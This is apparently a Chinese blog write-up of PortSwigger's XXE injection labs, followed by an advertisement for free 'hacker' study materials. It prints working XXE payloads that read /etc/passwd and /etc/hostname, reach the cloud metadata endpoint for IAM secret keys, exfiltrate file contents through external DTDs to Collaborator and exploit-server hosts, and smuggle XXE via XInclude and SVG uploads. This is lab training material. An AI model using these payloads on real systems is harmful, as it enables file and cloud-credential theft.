XML 外部实体 (XXE) 注入
1. 什么是xxe漏洞:
https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。 在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击,升级 XXE 攻击以危害底层服务器或其他后端基础设施。实验1:xxe读取文件:
Lab: Exploiting XXE using external entities to retrieve files
进入靶场,点击功能,进入burp代理历史查看流量包:
数据包发送到repeater:
测试xxe漏洞:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下外部实体定义stockCheck: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。实验2:利用xxe造成ssrf:
Lab: Exploiting XXE to perform SSRF attacks
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下外部实体定义stockCheck: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> 将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。 迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.
逐步添加169.254.169.254主机泄露的web目录到xml文档,最终发现泄露了aws云的SecretAccessKey,可以用相关工具
访问云服务:
实验3:带外交互的XXE盲注:
访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域: <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]> 实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com"> ]> 将数字替换productId为对外部实体的引用: &xxe; 转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。进入靶场,查看到检查库存功能,有提交xml请求的流量:
修改数据包,重放:
实验4:通过 XML 参数实体进行带外交互的XXE盲注:
访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域: <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]> ## Collaborator生成子域名:% xxe表示xml参数实体 <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com"> %xxe; ]> 转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。将数据包发送到重放器:
修改xml数据:
实验5:利用恶意外部 DTD 进行 XXE盲注窃取数据
使用Burp Suite Professional,转到“协作者”选项卡。 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。 将 Burp Collaborator 负载放入恶意 DTD 文件中: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>"> %eval; %exfil; #### 制作恶意的外部dtd文档: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://pf80vmu2gpickzg49m93retb329txold.oastify.com/?x=%file;'>"> %eval; %exfil; 单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞”并记下 URL。 URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit 您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下外部实体定义stockCheck: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]> ## 将恶意的dtd url路径插入:URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit"> %xxe;]> 返回“Collaborator ”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。 您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。HTTP 交互可以包含文件的内容/etc/hostname。进入靶场,抓取查看库存功能,burp抓包:
将制作的恶意dtd文档托管到自己可控的web服务器上:
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
实验6:利用盲目 XXE 通过错误消息检索数据
单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上: <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil; /etc/passwd导入时,此页面将读取实体 的内容file,然后尝试在文件路径中使用该实体。 单击“查看漏洞”并记下恶意 DTD 的 URL。 您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下外部实体定义stockCheck: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]> ## <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit"> %xxe;]> https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit 您应该看到一条包含文件内容的错误消息/etc/passwd。
将恶意的dtd文件托管到自己控制的web服务器中:记录恶意dtd的url值:
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
实验7:利用 XInclude 检索文件:
一些应用程序接收客户端提交的数据,将其在服务器端嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求中,然后由后端 SOAP 服务处理时,就会发生这种情况。 在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改元素DOCTYPE。但是,您也许可以使用XInclude它。XInclude是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击,因此可以在您仅控制放入服务器端 XML 文档中的单个数据项的情况下执行攻击。 要执行XInclude攻击,您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如: <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ### 操作: 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。 将参数值设置productId为: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>实验8:通过图像文件上传利用 XXE
### 原理: 某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。 例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而达到XXE漏洞的隐藏攻击面。 ### 操作: 创建包含以下内容的本地 SVG 图像: <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> 在博客文章上发表评论,并上传此图像作为头像。 /etc/hostname当您查看评论时,头像svg被解析,xml中代码执行,读取了hostname,您应该会在图像中 看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。创建1.svg文件:
查看图片,图片已经显示了主机名:
实验9:利用 XXE 通过重新利用本地 DTD 来检索数据
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。 在 XML 声明和元素之间插入以下参数实体定义stockCheck: <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> 这将导入 Yelp DTD,然后重新定义ISOamso实体,触发包含文件内容的错误消息/etc/passwd。通过修改内容类型进行 XXE 攻击
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。
例如,如果一个普通请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可以提交以下请求,得到相同的结果:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。
参考:
https://mp.weixin.qq.com/s/a_AlnsHdyavDriFbnTsyRw ## paylaodallthings: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection ### owasp: https://owasp.org/www-project-web-security-testing-guide/v42/ ### owasp xml注入: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection最后
关于网络安全技术储备
学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!
对于0基础小白入门:
如果你是零基础小白,想快速入门网络安全是可以考虑的。
一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案
包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!
需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】